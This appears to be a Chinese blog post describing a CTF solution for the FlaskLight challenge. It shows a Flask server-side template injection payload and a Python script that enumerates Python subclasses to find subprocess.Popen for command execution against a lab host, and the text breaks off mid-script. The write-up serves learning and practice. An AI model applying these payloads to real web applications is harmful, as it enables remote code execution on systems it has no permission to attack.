flask ssti-subprocess.Popen(8-18)

最新推荐文章于 2024-08-07 15:27:34 发布

ta3shi

最新推荐文章于 2024-08-07 15:27:34 发布

阅读量823

点赞数 1

分类专栏： ctfweb buuctf刷题记录

本文链接：https://blog.csdn.net/Realiy/article/details/108089591

版权

本文介绍了在CSCCTF 2019 Qual的FlaskLight挑战中，如何利用 SSTI（Server-Side Template Injection）漏洞尝试读取文件和执行命令。通过get方法请求发现存在SSTI，并尝试通过subprocess.Popen执行命令，但app.py无法读取，命令执行也受到限制。最终找到了第258行的subprocess.Popen方法作为payload突破口。

摘要由CSDN通过智能技术生成

学习文章

[CSCCTF 2019 Qual]FlaskLight

get方法请求结合题目试试ssti

说明确实存在ssti

读取文件成功但是读不了app.py，命令执行也被禁止，看看大佬怎么bypass的

先写个脚本爆出可利用的类

import requests
import re
import html
import time

index = 0
for i in range(170, 1000):
    try:
        url = "http://aa86b4ee-a0a7-4634-8ef2-f4e80e7613ce.node3.buuoj.cn/?search={
  {''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
        r = requests.get(url)
        res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)
        time.sleep(0.1)